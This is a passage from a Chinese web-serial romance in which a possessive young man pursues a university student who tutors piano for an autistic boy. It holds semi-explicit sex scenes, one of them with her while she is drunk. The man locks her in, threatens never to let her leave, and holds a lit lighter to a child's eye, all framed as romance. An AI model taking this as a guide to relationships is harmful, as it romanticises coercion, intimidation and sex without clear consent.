孟纾语若无其事走向门前台阶,聊天的声音落在身后。 “我女儿吧,天生没什么脾气,遇到事情也总为别人着想,小时候有男生欺负她,她为了不让我担心,硬是不跟我说,现在她离家上大学了,在这儿人生地不熟的,我更不放心。唉,我明早就回去了,你俩在一个学校,平时多留意留意,要是有人欺负她,你一定要告诉我,拜托你了。” 邢屹坦然应下:“孟叔,您放心,有我在没人敢欺负她。” “” 孟纾语几度欲言又止。 回房间待了会儿,邢美莱给她发语音:“小语,你看见客厅那套翡翠杯盘了吗,帮姨拿到三楼藏品室里放着。刚给他俩发消息一个都没理我,气 死我了。” 孟纾语依言把东西放进藏品室。 里面琳琅满目的古董,她都不敢细想这一屋子的总价。 小心翼翼放好翡翠杯盘,直聘软件忽然有了消息提示。 她顺势坐到一旁的高脚木凳上,点开手机。 何太太:[你好,在吗?看你简历里说擅长弹钢琴,请问有十级证书的照片吗?发过来吧,我想看一看] 为了美化简历而写进去的才艺,居然被注意到了。 她认真回复:[不好意思,我想应聘的是英语家教] 对方坚持己见:[来当钢琴老师吧,我给你涨时薪,三百怎么样?] 一小时三百,很诱人了。 但她心下疑惑。 都说术业有专攻,为什么这位何太太不直接聘用音乐学院的学生? 对方善解人意地说:[我儿子四岁,有自闭症,不太好相处,之前找了好几个钢琴老师教他,都是干不到两天就走了。你这次来,我给你三天试岗期,你接受不了的话可以辞职,我照样给你结清三天的薪水,可以吗?] 孟纾语考虑片刻,回复:[好的,谢谢您。] 事情就这么定下来,她把证书照片发过去,询问什么时候面试。 [周六吧,到时我打电话通知你] [好的] 解决完兼职的事,孟纾语心情不错,正准备离开藏品室,房门忽然被推开。 她已经有了条件反射,下意识绕到凳子后方,手机藏到身后。 “你来干嘛?” 邢屹反手关门,锐利目光盯着她,手指勾住门锁按钮轻轻一抬。 咔。 反锁了。 孟纾语默默后退,不敢轻举妄动。 这屋子里任何一件,刮花了或者碰碎了,她后半生就要踏上还债的不归路了。 她紧张吞咽一下:“你有什么事吗?” 邢屹最不喜欢她故意客气的样子,他黑沉着脸,上前盛气凌人地挪开凳子。 她避之不及,被他抱到另一侧的桌案上。附近堆竖着无数幅古典油画,她被全面包围,唯一的出口只有身后的通风窗。 跳下去会瘸的,她打消这个念头。 但还是下意识往后挪,邢屹突然攥着她膝弯往前一拉,她不小心撞到他胸膛,小声啊了一下,他低身捧起她的脸,手指揉揉她鼻梁:“疼不疼?” 其实不疼,但她要装作疼的样子,他才不敢对她做出更过分的事。 于是挤出一滴眼泪。 不料他一眼就看破伪装,心疼不到三秒就开始兴师问罪:“不打算解释一下?” 她抬眸,委屈巴巴吸一记鼻子:“解释什么?” 说话时又悄悄往后挪,邢屹按住她膝盖,非要让她双腿缠紧他的腰。 “不是说没加异性的联系方式吗,转眼就当着我的面冒出个李时然?” 他语气越平静,她就越心慌,挪开视线讷讷说:“我加他微信是因为,我们下个月要一起参加辩论赛,你不能连这个都管吧” 邢屹不依不饶:“我不高兴。” “那你就努力高兴高兴。” “” 默了几秒,邢屹从长裤口袋里拿出一个物件,戴到她手腕上。 触感有点凉。 是崭新的手表。 至少二十万的价格,浅调玫瑰金,表盘精致小巧,指针游走着经过一小串英文,字母上方的图标像一个微小的四叶草。 看得出他是认真选过的,不是随便一买。 为什么这么认真 邢屹垂眸帮她调整表带,一边说:“我还不至于因为一个李时然跟你发脾气,毕竟我能给你的,他全都给不了。我气的是你瞒我,骗我。” 他难得这么温柔,她却开始慌了。 这个人好像真的不惜一切手段吸引她,无论是生理上的快感,还是物质上的慷慨,只要是她喜欢的,他什么都给。 他并不是想玩弄她,而是真的在不计得失地喜欢她。 手腕上多了块表,泛起轻微的束缚感,她一时说不出话。 想解下来还给他,他却先发制人给她一个冷森森的眼神,让她不敢有动作。 邢屹让她把手臂搭到他肩上搂着,拉近距离,注视着她:“既然开始了,就永远不可能结束。无论在你心里我们是什么关系,反正在我这里,我们就是死也分不开的关系,要吻就吻一辈子,要做就每天都做,没有第二个选项,如果你想离开我,那得看我死没死,如果我不小心长命百岁,那你这辈子都别想离开我。” 孟纾语呼吸发紧,感觉被他捏住了心脏。 他轻抚着她的腰,沉声低喃:“你要是突然跑了,我可能真的会死。但一想到你还活在这世上,我就不想死了,人生有意思的事情还有很多,尤其是能跟你一起做的事。” 偏执,变态。 她惊魂不定,颤抖着声线质问:“是不是每一次,只要我露出害怕的表情,你都会很兴奋” “想多了,我不希望你怕我。” “那你——” “我要你爱我。”邢屹低眸看她,她整个人像被他悬吊着,惴惴不安,他却波澜不惊地问,“你爱我吗?” 她沉默。 明知道这事不可能,为什么还要一遍一遍地问。 她壮起胆子说:“不爱。爱是相互的,是生理和心理的双重反应,是需要时间培养的,你不能用这种强硬的方式逼我” 邢屹笑了下:“我逼你了吗,我一直在教你由身到心地爱我,只是你一直学不会。” 孟纾语顿生无力感:“难道你很缺爱吗?非要从我这里获取” 他幽邃目光落到她衣领附近:“如果是的话,可以用别的东西换你一点爱吗?” 说完,他猝不及防地吻她,招数摄人心魂,她难以自控地发出声音,攥紧了手指,一度被他吻得躺倒在桌上,长发水波一样散开,邢屹撑在她身前,沸反盈天的是彼此的呼吸和亲吻声。 后来衣角被撩折,他黑茸茸的脑袋在她眼前起伏。 原来这就是他用来惩罚她的新花样。 孟纾语意识混沌,被他折腾得闭上了眼,突然理解了他先前那番话的言外之意—— 你应该对我的疯狂甘之如饴。 要么你早日适应这份爱,要么你孤注一掷从我身边逃走,再被我变本加厉地抓回来,锁起来。 她招架不住,为了保持清醒,疯狂在脑子里做加减乘除,计算在毕业之前,除了假期之外,两人可能待在一起的时间。 可是计算过程频繁被干扰,偶尔他舌尖一转,4变成2,指尖一捻,2又变成了1,再轻舔、吮吻,抵抗力本就不强的数字彻底崩溃,化成一滩水。 孟纾语咬唇,一手陷进他短发里,另一只拳头抵在自己唇上,无意识别过脸,缓了会儿呼吸,慢慢睁眼。 霎那间,跟油画里的圣母玛利亚对视。 她不信教,心头却猛然一震。 最后的最后,她握住他时,才断定这绝对是在亵渎神明。 窗外天色已暗,室内没开灯,一片缱绻昏昧。 半晌,她又累又慌,心想这也太离经叛道了。 于是在最后关头停下。 邢屹被悬在一个不上不下的程度,他拧了下眉心,冷飕飕撩起眼皮,声线都变哑了:“故意吊我?继续啊。” 她脸颊红透,撇过头:“不继续了。” 第18章 回吻「技巧」 邢屹看她的眼神,像欣赏一幅线条起伏的杰作。 画里的红点逐渐加深,像微巧润泽的樱桃。 樱桃是核果类水果。 假如吃的时间太长,他会起一点恶劣的玩心,将果核拨弄吮含,久久不放。 如果想在尝尽清甜之后留下一个完美的果核,往往很考验舌尖技巧。 邢屹对此游刃有余,长时间得心应手的吮吻,让她紧紧闭上了眼,一点声音都不敢发出,生怕他猝不及防变换花样,她招架不 住。 邢屹趁机逼问:“还有什么瞒我的事,说出来。” 她深呼吸,句不成调:“我找了兼职。” “什么兼职?” “钢琴家教。” 避免他发疯乱来,她只好一五一十地交代,把雇主家的位置信息也告诉他。 邢屹听见一串地址,忽然顿了几秒,没了动作。 她终于有机会从湿热中逃离,回卧室蒙进被子里。 心跳声震耳欲聋,脸上的温度一直没下去。 闷得难受,她从被子里探出头换气,伸手看了眼表盘。 因为手表是新的,他不想给她弄脏,自己去了浴室。 她就趁机溜回房间,理清思绪。 荷尔蒙是种很强大的物质,彼此之间所有的激烈与柔情,都是它在作祟。 如果他不是暗藏危险的疯子就好了,或许她真的会无法自拔地喜欢上他。 孟纾语趴在枕上装乌龟,手机突然震动。 xy:[开门] 霎那间警铃大作,她飞快打字:[我要休息一下,你暂时不要进来] xy:[那就给你十分钟] 她讨价还价:[半小时] xy:[不吃晚饭了?] 她随便找个借口搪塞:[不吃了,我在婧婧家吃过了] 邢屹没有回复。 房门外没有动静,孟纾语松了口气。 其实在毛婧婧家没有吃饭,只是尝了点水果。 现在说饿也不饿,少吃一顿也没关系,而且她不想在他意犹未尽的危险时刻下楼吃饭。 因为邢屹喜欢当着长辈的面,在桌下勾她的腿,每一次都让她心惊胆战。 就这么窝在床上窝了半小时,浑身的骨头像被人搓过一样,软麻麻的。 想到自己的课程小论文还没写,她又蔫了吧唧地爬起来,靠坐在床头,抱着笔记本电脑敲敲写写。 有点冷,她盖上被子。 最近降温明显,她调出日历一看,现在已经是十月底,这学期还剩两个月就结束了。 很好,还有两个月她就可以短暂离开,逃离魔爪。 老孟也盼着她早点放假回家。 次日,她跟邢屹一起,送老孟到机场。 临走前,老孟用手机给她拍记录视频。 航站楼里人来人往,孟纾语环顾四周,有点局促地望向摄像头:“爸,你怎么还拍呀,我都这么大了。” 孟明德横着手机屏,在她前面慢慢倒退走:“当然要拍了,十八岁也在成长,也需要记录的。来,小屹,你也入个镜。” “”不想跟他同框,她往边上躲了躲。 邢屹拎住她:“跑哪儿去?” 她没好气地瞥他一眼。 他势在必得地挑眉,目光直白又嚣张,手指拿捏分寸,搓起一小块她肩上的衣料:“十六度就穿高领毛衣了?” 孟纾语头皮发麻。脖子上印了几处吻痕,不穿高领穿什么? 她别过脸,心虚不已地环起胳膊:“今天风大,当然要穿高领。” “是吗,风会往你脖子里灌?” 这人明显在找事吧,她撇嘴反问:“难道你的脖子不会进风吗?” 邢屹说没注意,可能因为海拔高一些吧,本来应该进脖子的风直接顺着肩膀滑走了。 “我不想跟你说话了。” 真气人。 她现在一米六五,好后悔小时候没多吃点,不然能长到一米七。 邢屹抄兜走在旁边,微垂视线看她,眼底流露一丝无奈又纵容的笑:“生什么气?又没说你矮。” 孟纾语加快脚步,故意把他落在身后。 他突然勾住她的手。 “?!”她吓得抽回手,呼吸差点停滞。 老孟的视线停留在手机屏的取景框里,没发现这个框外的小动作。 真是万幸。 老孟乐呵呵录了十分钟视频,心想年轻真好啊,打打闹闹的友谊才是青春洋溢。 他心满意足拿下手机,停在值机口前。 “真快啊,一下就长这么大了。你们坐会儿,我先把视频传到云盘上。” 孟纾语好意提醒:“爸,网上都说小时光云盘准备倒闭了,你记得把视频移出来下载,不然找不到了。” 老孟不信邪:“都是谣言,不会倒闭的,我充了永久会员。” “”二者好像没有什么关联。 孟明德埋头捣鼓手机,忽然怨愤地嘀咕:“邢美莱这周跟我吵了七次架,气死我了,我要取消跟她的云盘共享。” 孟纾语坐在公共椅上发呆,闻言抬头:“你的云盘账号跟莱姨关联了?” “对,之前邢美莱总是囔囔,说想看你想看你。大概是拍第一个视频的时候吧,她来参加你妈妈的葬礼,知道我有一个专门给你记录成长的账号,她想看,我就大大方方给她连上了。” “哦” 也是,邢美莱把她当亲女儿,所以会迫不及待想了解她的成长经历,哪怕是以视频的形式。 这份心情可以理解,就像之前养旅行青蛙一样,总想隔着屏幕看看它,看它背着行囊去了哪、给老母亲寄了什么明信片、一路上成长了多少。 细细想来,她从小到大真的获得了很多很多的爱。 默了会儿,她转头看一眼某个自称“缺爱”的人。 邢屹气定神闲划手机,屏幕里显示搜索界面。 [如何让女孩子获得更好的恋爱体验] “?”有没有搞错,她什么时候跟他恋爱了。 再说,他看着挺熟练的,原来还需要查资料吗? 她心下疑惑,又瞥了一眼。 界面跳转,捕捉到“技巧”两个字。 不敢细看是什么方面的技巧,她立即收回视线。 怀疑他是故意的,知道她的目光会因为好奇而落过去,所以故意点开一些让人面红耳赤的东西,害她胡思乱想 时间一到,老孟依依不舍过了安检。 邢屹装斯文装到底,等老孟完全离开安检区,他才伸手揽她肩膀。 她刚想溜就被他捉住了。 邢屹饶有兴味,扫一眼她欲盖弥彰的衣领,目光松松散散吊在她脖子附近,百无聊赖说:“你身上的印子还真是难消。” “”她闷闷不乐,“那你就不要留。” 邢屹一边走一边揉她脑袋,口出狂言:“就是因为难消才要留。” 光天化日之下,荒淫无度,简直欠打。 “变态!” “说我变态,不还是要跟我狼狈为奸。” 早就想分开来着,你又不愿意。 “哈喽二位!”一个戴鸭舌帽的年轻男人快步迎上来,脸上堆着笑,“有兴趣加个联系方式吗?我是星探。” “好像是上次那个人。”孟纾语跟邢屹低语,邢屹侧头瞥了对方一眼,下意识把她护在身后,冷眼应付那男的,“又是你,年底有kpi要赶?” 男人似是想起来了,表情一愣,业务能力顿时升级:“哎哟,巧了嘛不是,一回生二回熟,说明咱们有缘,我说认真的,你俩这颜值,真的很有一夜爆红的潜质,要不要加个联系方式嘛?我们公司的包装能力很强的,娱乐圈现在就有两个顶流,都是我们公司捧火的。” 顶流是块砖,哪里需要哪里搬,真要问起姓名,大概率是个爱炒作的十八线。 邢屹懒得理他,搂着怀里犯懵的姑娘转身就走。 男人自知没戏,不敢再跟上来。 孟纾语仰头问他:“这种人就是骗子吧?每天都在机场守株待兔,骗那些涉世未深但又很想挣钱的人。” “嗯。” 那家娱乐公司或许真的存在,但它们的目的并不是把你捧红,而是忽悠你签下漏洞百出的商业合同,之后不给你安排任何资源,也不许你私自接活,等你受不了了想要解约的时候,它们就会拿出先前签订的霸王合同,在你解约之后讹你一笔巨额违约金。 邢屹这么跟她解释完,她思 考几秒,由此及彼地问:“之前学校里有人聊八卦,说你妈妈是电影演员,真的吗?” “嗯。”他云淡风轻,毫不避讳地告诉她,“邢漫芊怀我的时候,丈夫孕期出轨,而她因为显怀加上抑郁症,主演的角色在开机前被换掉了。她一直觉得是我毁了她的事业,更把她的后半生拖累了。后来我出生了,她就拿我当发泄工具,一生气就打我,不给我饭吃,把我锁进小黑屋里,三天才放我出来。我八岁那年很想报复,就在家里纵火,她直接报警把我送进公安局了,是我外公来接我。后来她到处骂我是神经病,说我长大之后一定是反社会人格,谁靠近我谁就不幸。” 孟纾语直愣愣看着他,难以置信。 对视几秒,邢屹兀地笑了:“你真信啊?逗你玩儿的。” “” 真欠揍。 不想理他了。 兜里手机响,孟纾语拿出来接通。 “您好?” 那头是个温和的女声:“你好,我是直聘平台的何太太。今天周六了,下午有时间来家里面试吗?” 她立刻认真起来:“有的,我三点半过去可以吗?” “好的,我在家等你。” 挂断电话,孟纾语心情愉悦,抬起头跟邢屹说:“我下午要去面试了。” “这样啊。”他难得温柔又讲理,爱不释手地捏捏她的脸,“孟纾语好厉害,要当老师了。” 跟哄小孩一样,夸得她都不好意思了。 邢屹一直搂着她,两人像情侣一样黏在一起,路过有人小声夸了声“好般配”,孟纾语觉得怪怪的,下意识撇开他的手,这条手臂却跟铁打的一样,又重又硬,仿佛定了型,直接勾在她肩上挪不走了。 离开航站楼,邢屹拿出手机发消息,分神对她说:“一会儿让林泽送你去,晚上他去接你。” “可是今天周六诶,你又压榨林助。” 邢屹意味深长掠她一眼:“心疼他?那我去接你。” “不用了。” 下午三点半,阳光温然明媚。 孟纾语下了林助的车,准时到达别墅。 她按响门铃,门锁自动开启。 进了玄关,何太太迎面而来,一身宝蓝色的简约裙装,乌黑长发挽起发髻。 孟纾语第一反应是,这个女人好漂亮。 第二反应是有点眼熟,好像在哪儿见过。 何太太取出一双崭新的居家鞋给她换上,客气道:“谢谢你能来。走吧,我带你见见我儿子。” “好的。” 孟纾语彬彬有礼,跟随对方上到二楼房间。 门开,一个小男孩正坐在靠窗的桌前画涂鸦,光看衣着相貌就知道,是个有钱人家的小少爷。 可惜患有自闭症。 孟纾语走上前,小心翼翼坐到他旁边,何太太绕到另一侧,取走男孩手中紧握的笔:“星星乖,先不画了,你的钢琴老师来了,先跟老师打个招呼。抱歉纾语,忘了跟你介绍,他叫何星,你可以跟他说说话熟悉一下,他比较怕生。” “好。” 孟纾语看着小男孩,试图跟他说两句话,小男孩乖乖将双手搭在膝盖上,慢半拍抬起眼。 是一双格外清澈的眼睛,只是眼神有些不安,单纯对视时,完全看不出他有自闭症。 何星像无辜的小动物一样盯着她的脸,抿抿唇说:“姐姐,你好漂亮。” 孟纾语第一次被四岁的孩子夸奖,感觉有点奇妙。 她回一个真诚的笑:“谢谢星星,你也很可爱。” 何太看两人聊得不错,逐渐面露欣慰。 她温柔得体地把孟纾语叫到走廊外,叮嘱说:“我这几天有事要出远门,家里的密码我会发给你,你跟星星商量好课程时间,跟我发消息说一声,到点来就行,我这里没有太多规矩。” “好的,谢谢您。” 何太转眼就出门了,孟纾语回到房间,看了眼另一侧的立式钢琴,虽然没有三角钢琴气派,但也价格不菲。 今天是来试课的,没有正式安排,于是她引导何星,先让他弹奏一首他自己喜欢的曲子,了解他目前的情况。 何星直接选了《卡农》。 虽然是对着谱子弹的,但这孩子确实很有天分,韵律掌控得非常好。 何星小小一只坐在琴凳上,合上曲谱,骄傲道:“这些我都会弹了,姐姐,可以教我别的吗?” 孟纾语翻了翻曲谱本,里面都是最基本的曲目,难怪他已经瞧不上了。 结合他的演奏水平,孟纾语静下心来教他弹奏新曲,他很高兴,学得格外积极。 转眼就黄昏。 她正准备给何太发消息,反馈一下今日情况,窗玻璃突然砰地一声响。 被人拿石头砸了。 她立刻开窗往下看,别墅院子外聚了三个小男生,也就六七岁的样,性子却嚣张跋扈:“死白痴!出来啊!你妈妈又不在了吧?没人保护你咯!死白痴死白痴!” 讥讽声传到房间,何星突然抱紧了胳膊,像泄了气的皮球,把自己缩成一团。 他在害怕。 孟纾语果断关上窗子,安抚他一会儿,径直下楼来到院子外,逮着那群臭小孩,她直接把小老大手里的石头抓来扔了,低头盯着他:“有没有家教?谁教你们拿石头砸别人窗户的?还有,谁允许你们随便给别人起侮辱性外号?” 小老大充耳不闻,给她做个鬼脸:“略略略,去死吧!” 骂完转头就跑。 其余几个孩子已经开溜了,他晚一步。 下一秒,他突然被人揪着衣领拎了起来,双脚腾空,他吓坏了,登时哇哇大叫:“啊!!滚呐!放开我!” 孟纾语怔怔站在原地,看邢屹单手提溜着坏小孩,跟提一袋垃圾一样轻松。 他下午应该是陪外公前往正式的社交场合了,身上半熟凛然的休闲西服还没换,他不顾小孩挣扎哭闹,另一手从兜里拿出金属打火机,砂轮蹭一声点起火。 孟纾语后背一凉,只见他阴沉着眼眸,拿着骇人的火焰靠近小孩惊恐的眼球:“刚说什么,让谁去死?” 第19章 回吻撞过来 要被吓死。 “邢屹你别这样,放开他!” 孟纾语上前制止,从他手里把坏小孩解救下来,又夺了他的打火机。 坏小孩跌坐在地上放声大哭,邻居家的狗都被他惊动了,连连狂吠。 孟纾语捏了把汗,转身惶惶不安看他一眼:“你干嘛吓唬人家呀?” 邢屹懒坐在车头嚼口香糖,两手随意向后撑着,垂眼睨着那孩子,眼神恨不得把死小孩一脚踢飞。 “没掐死他就不错了。” “你真的好吓人。” 孟纾语心有余悸,把坏小孩从地上拉起来,不想揍他,只想好好教育他:“别哭了,你刚才做错事了你知道吗?” 坏小孩哭出两个鼻涕泡,惜命地点点头:“知道了” “知道自己错在哪了吗?” “我不该骂人” “好,知错就要改,现在道歉。” 坏小孩可怜巴巴看着她:“对、对不起!” “不是向我道歉。”孟纾语把他带到院子里,让他抬头对着二楼窗户,“自己看看,要跟谁说对不起?” 坏小孩慢半拍会意,抬头大声说:“何星,对不起!你不是死白痴!” 孟纾语蹲下来看他:“下次还欺负何星吗?” 他哽咽:“不欺负了” “不许撒谎,要说到做到。”孟纾语站起来拍拍他脑袋,“好了,回家去吧。” 坏小孩撒丫子逃走,边跑边撕心裂肺地喊妈。 孟纾语上楼回到房间,确认何星没事之后,她发消息给何太太说了一声,避开刚才发生的事,只反馈教学情况。 何太太:[好,非常谢谢你。一会儿有 保姆上门照顾星星,你可以安心离开了。] 随后给她结了两小时的薪水。 [好的,谢谢何太太] 孟纾语放心离开。 夕阳余晖蔓延,倨傲的银灰色GT停在原地。 驾驶座车窗完全降下,邢屹靠着椅背玩消消乐,脱下的西服外套直接甩挂在窗沿不管不顾,衬衫衣袖挽至臂弯,一副离经叛道你奈我何的样,偏偏手指还在划着手机里的猫头狗头,欢快的游戏音效连连响起。 她觉得这人真是个喜怒无常的定时炸。弹。 待在他身边压力巨大。 她想趁他不注意,绕过车身离开别墅区,再悄摸摸坐公交车回去。 此刻的自己像只心虚小鼠,贴着墙根加快脚步。 不幸,转眼就被捉住了。 “我不介意下来陪你走路。”邢屹忽然出声。 “” 避免他再次发疯,孟纾语不情不愿坐进副驾。 他游戏还没结束,她干坐半晌,忍不住埋怨:“那个孩子确实没什么家教,但他还那么小,你怎么可以拿打火机吓他?万一真的烧到他眼睛,你让他今后怎么办?” 邢屹无动于衷,指尖消完一排狗头。 “那么小就犯贱,就该直接弄死。” “”她浑身一凉。 兜里还揣着他的都彭打火机,沉甸甸的,她拿出来直直递给他:“还你。” 邢屹毫无动作。 她转头看他:“不是要抽烟吗?” 邢屹把座椅往后调,懒洋洋躺坐着消灭猫头,烦心倦目的样,像受了什么天大的委屈:“我家小语不让我抽。” “”怎么就成你家的了,“不在我面前抽就好了,我不喜欢烟味,你私下抽烟我又管不着。” “戒了,私下也没抽。” “哦”孟纾语收回手,摩挲着打火机的冰冷纹路,忐忑不安地问,“别人一旦惹你不高兴,你就会用极端的方式对待他吗?” 晚风灌入车窗,邢屹消完最后一排小猫小狗,兴致缺缺说:“得看那人是谁。” 说完,他迎着风把座椅调正,拿回窗沿的外套盖到她身上。 她懵了一下。 他手扶方向盘,目视后视镜掉了个头,车子离开别墅。 孟纾语沉默不语,邢屹开口问她今天如何,她说还行。 她发现,其实邢屹一直在刻意引导,让她向他敞开心扉,最好把每一天的日常都事无巨细地分享给他,满足他强烈的占有欲。 虽然他这么做有点变态,但她心里确实憋了些话,想借机倾诉。 “我的雇主,就是这家的何太太,她儿子何星有自闭症,我在教何星弹琴的时候,发现他的指甲边缘不太完整,他手臂上也有很多细小的掐痕,不是大人掐出来的,应该是他心里难受的时候自己掐的,有的都破皮出血了,指甲也是自己咬缺的。这位太太人挺好的,好可惜,她的孩子天生就有心理缺陷。” 邢屹闲闲开车,忽然冷嗤一声:“报应吧。” “怎么能这么说。”孟纾语抱着他的外套,悄悄把衣服当成他本人,搓成一团掐来掐去,“你今天好像忘了吃药一样,一言不合就犯病,而且不是说好让林助来接我吗,你招呼都不打一声就自己来了,还跟小孩子发那种火,吓我一跳,下次你再这样我就——” 突然急刹打断。 完了完了,她攥紧安全带,不知他又发什么疯,她只想开门逃出去。 邢屹突然倾身靠近,她避之如猛兽,挣扎时被他掐住后颈,气息撞过来。 一个突如其来,但异常温柔的吻。 她睁大了眼,眼底波澜晕开。 邢屹呼吸微沉,半阖着眼在她唇上吻了会儿,哑声说: “今天好想你。”- 孟纾语一直不懂,那种喜欢到变态偏执的感觉究竟是什么样的。 次日晚,许莓又一次拉她去baiser看打碟。 酒吧光线迷幻,孟纾语趴在卡座桌上神游天外,迷惑不解:“莓莓,你每天都来看他打碟,不会觉得很腻吗?” “不腻啊。”许莓说,“当你很喜欢很喜欢一个人的时候,就算他把一件无聊的事情重复一千遍,你也会觉得非常有趣,而且,哪怕他在你面前叽里咕噜说了一堆废话,你也不会觉得烦,甚至很想亲他。” “这样吗。” 她还是无法理解。 许莓扫向不远处,戳戳她胳膊:“你看,那边是不是邢屹?” 孟纾语往十点钟方向瞥了一眼。 又蔫了吧唧地收回视线。 怎么哪儿都有他。 许莓嗅出一丝不对劲,八卦兮兮地问:“你跟邢屹是不是有什么关系啊?他三天两头来听哲学系的课,还总是坐在你旁边,跟你借书借笔什么的,看你的眼神很不一般诶。” “他眼睛那么好看,就算看着小猫小狗也是很不一般的吧。”孟纾语有点心虚地说。 此刻,邢屹正用他那双看狗都深情的眼,越过斑斓光线盯着她。 眼神极具侵略性。 她生涩吞咽一下。干嘛,我这两天也没惹你吧。 很快,邢屹收回视线,转头跟朋友聊天说笑,一笑起来就更招人,有女孩子主动给他倒酒,他坐在有沙发扶手的一侧支着额头,根本没搭理旁人给他献的殷勤。 别人都望眼欲穿了,他倒好,自顾自落拓不羁蛊惑人心。 坏透了。 许莓追问:“你俩真的不熟吗?” “不熟。” “一点关系都没有?” “没有。” 说话时差点咬到舌头。 其实她非常不擅长说谎。 但又实在无法说实话。 难道要说,其实我们有关系,甚至是知晓他尺寸的关系? 太那什么了。 心乱如麻之际,许莓延续话题跟她聊八卦:“听说他有女朋友。” 她心头一震,忙问:“什么?他自己说的,还是别人乱传的?” “好像是别人传的,也不知道是真是假,都说他女朋友是网红模特,名字叫常什么来着?常嘉吧好像,大家说她是御姐型的,一米七三大长腿,笑起来像年轻时候的张柏芝,家世也很牛,跟外交部有关系。” “” 幸好,她的名字不在这则八卦里。 暂且安全。 十点钟方向,邢屹又漫不经心瞥来一眼。 她慌忙移开视线,专注跟许莓聊天。 邢屹身边的人都在吞云吐雾,就他一个没抽烟,云淡风轻的,指间转着一支没点燃的烟,视线直勾勾落向她。 看来她是铁了心不想被人知道他们的关系。 片刻,他对面的沙发空位有人落座。 常嘉一身红裙摇曳生姿地走来,一坐下就拿出小镜子补口红。 秦双抽了口烟,志在必得开中了对面两个六,罚对方一杯酒,转头看她:“换香水了?” 常嘉抿了抿唇合上镜子,靠着椅背划手机,懒得看他:“这都被你发现了,我还以为你鼻子不灵呢。” 酒桌上有人起哄:“哟,我们常大小姐打扮这么漂亮,特意来追人的?” 说完都齐刷刷看向邢屹。 邢屹嚼碎薄荷糖,回众人一个“你们是不是有病”的眼神。 常嘉很不耐烦地顺水推舟:“对对对,我最喜欢邢屹了,非他不可,一追追三年,锲而不舍。” 大家都当她是被调侃之后不好意思了。 常嘉冷哼一声。 “怎么了你,吃火药了?”秦双笑了下,起身告辞,“不陪你们玩儿了,我忙去了。” 秦双离开,大家没心没肺继续玩。 中途,不知是谁出的鬼主意,大家贱嗖嗖撺掇,让常嘉跟邢屹面对面吃同一根饼干棒。 道具都准备了,就等着两人“不小心接吻”。 常嘉看向邢屹 ,给他一个微微古怪的眼神。 在等他同意。 邢屹耷着眉眼,一脸烦燥。 大家起哄催促,他终于甩脸。 “有完没完?” 众人吓得噤声,他冷眼刺一记常嘉,“还有你,暗恋的人不开窍你就故意追我,想用这种损招引起他注意,你是不是有病?” “”常嘉一时尴尬,避重就轻地嘴硬,“什么暗恋啊,我不知道,你别瞎说,而且你什么态度啊,难道我追你让你很丢脸吗?算起来也是我吃亏好吧,我倒追诶,而且你又没有女朋友,我追你完全没影响啊,你冲我发什么无名火?” 邢屹:“谁说我没有女朋友?” 众人:“哈?!” 邢屹起身就走,撂下一桌好友惊恐诧异 这边,看DJ打碟的时间格外漫长,孟纾语一无聊就嘬一口酒。 调制酒后劲很大,等许莓发现不对劲的时候,她已经喝完五六杯了。 许莓惊讶:“妈呀,你这么能喝?” “莓莓,这里的酒好甜啊。”她晕乎乎说完,下一秒就啪一声倒在桌上,小蜗牛一样挪动着,“啊我头好重,谁在我头上压石头了?” 完了,真醉了。 台上的DJ表演还没结束,许莓已经顾不上别的,先把喝醉的朋友安全送回家再说 酒吧侧门略显冷清,但是离主干道近。 许莓扶着她走到路边,试图让她清醒过来,捧起她的脸问:“你家里住在哪里的呀?把地址告诉我,我打车送你回去。” “住在,颐、颐一千年以后,世界早已没有我” “” ——“给我。” 身后一道沉磁清越的男声,许莓吓一跳。 邢屹从许莓身上接过孟纾语,让她醉醺醺靠在自己身上。 她感觉到熟悉的胸膛和体温,抬起头,懵懵地眯起眼睛,含糊不清地说:“死渣男,有女朋友你还来招惹我,你到底要干嘛?你等着,我会报警抓你的。” 许莓像发现了什么爆炸新闻,惊奇地瞪大双眼。 原来这俩真的有不可告人的关系。 邢屹淡然自若,提醒她:“别说出去,她会不高兴。而且我没有女朋友,从头到尾就她一个。” 许莓瞬间领悟:“好好好,我一定保密!” 说完转头就溜,坚决不做电灯泡。 邢屹抱着孟纾语,三两下把她塞进车里。 她歪歪斜斜趴在中控台上,等他从驾驶位上了车,她又像缺水的植物一样倒在他肩上,长发松松散散绕着他手臂。 邢屹捻起她一缕发尾搔搔她脸颊,她纹丝不动,他索性把她抱到自己腿上,让她岔开双腿坐着。 她很不灵敏地关机又开机,反复几次,终于睁开眼看着他,双手攀住他肩膀。 细声细气喊他:“邢屹。” 他手指抚过她泛红微醺的眼尾,喉结上下一滚:“终于认识我了?” “我认识你啊,你是死渣男。” “” “死渣男,你都有那么漂亮的模特女朋友了,你还沾花惹草,你对得起人家吗”她呜呜控诉,还愤怒地抓他的短发,“太坏了,简直十恶不赦” “等会儿,你当模特了?”邢屹震着胸腔笑出声来,“什么时候的事儿,怎么没告诉我?” “不是我,不是我”她迷迷糊糊摇头,叹一口气,“我只是,只是你突发兴起捉来欺负的人,你教我学坏,骗我跟你接吻,让我跟你做那些很色。情的事太坏了,以后你肯定还会逼我,逼我做更多坏事” “跟我结婚吗。”邢屹脱口而出。 可惜喝醉的人反射弧长,一个严肃的词语直接从她脑子上滑了过去。 “你要结婚吗,那你去结吧。”她很大度,邢屹的脸一下就黑了,她乱动几下,忽然闷闷不乐,双手推他,“你好热,我不想坐在这儿” 邢屹被她撩起火,声音都变了:“不想坐我身上你想坐哪,坐我脸上?” 酒精有麻木意识的功效,也有助于沉沦的作用。 最开始只是一个吻,后来慢慢过分。 跑车后座不够宽,但也够用。 她拧着眉心仰头换气,双手撑住车窗玻璃,掌心缓缓沁汗。 邢屹的鼻息被闷住,他喜欢恶狠狠掐她的腰,听她招架不住的呜咽声,再恶劣十足地夸她,很软,很甜。 第20章 回吻「我们的第一天」 她第一次占据上风俘获他的呼吸。 直到她哆哆嗦嗦彻底倒下去,邢屹扶住她的腰,坐起来吻她唇角。 她靠在他怀里,浑身绵软不堪,他吻着她,记起果冻般融化的口感,怀里的人完全是水做的,晶莹水渍沾上他鼻梁,孟纾语晕晕乎乎恢复了意识,匆忙为他抹去。 她红着脸想从他身上下去,邢屹拦腰捉住她,胸膛抵着她后背,把她紧抱在怀里:“急什么,高兴了就翻脸不认人?” 她无措地攥着衣角,声音都颤了:“我没有” “没有什么?” 他故意抬起一条腿往上一顶,七零八落的撼动感接踵而至,她立刻攥住他手臂,像羞涩后万不得已的求饶:“不要乱动了,我现在” “你现在怎样?” 